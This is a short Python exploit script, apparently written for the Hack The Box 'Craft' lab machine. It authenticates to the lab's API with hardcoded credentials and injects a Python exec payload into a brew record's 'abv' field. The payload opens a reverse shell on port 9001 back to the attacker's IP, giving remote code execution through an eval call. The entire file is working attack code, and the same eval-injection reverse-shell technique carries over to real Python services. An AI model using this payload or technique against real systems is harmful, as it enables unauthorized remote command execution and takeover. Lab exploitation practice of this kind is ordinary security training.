# exploit.py
# This file aims to inject a reverse shell into a python eval command
# Authenticated RCE
# Frank Cerny
# 12/22/2019

import sys
import json
import requests

if len(sys.argv) < 2:
	print("Usage: python exploit.py <local ip>")
	exit(0)


ip = sys.argv[1]

# From https://stackoverflow.com/questions/27981545/suppress-insecurerequestwarning-unverified-https-request-is-being-made-in-pytho
requests.packages.urllib3.disable_warnings()

# Get auth token
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
token = json.loads(response.text)["token"]

# Create custom header with token
header = {'X-Craft-Api-Token': token, 'Content-Type': 'application/json', 'accept': 'application/json'}

# Reverse shell payload to listener on 9001
payload = "exec('''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{}',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);''')".format(ip)
brew = {"brewer": "Brew INC.", "name": "Happy Brew", "style": "Best Brew", "abv": "{}".format(payload)}
response = requests.post('https://api.craft.htb/api/brew/',  headers=header, data=json.dumps(brew), verify=False)
# print(response.text)
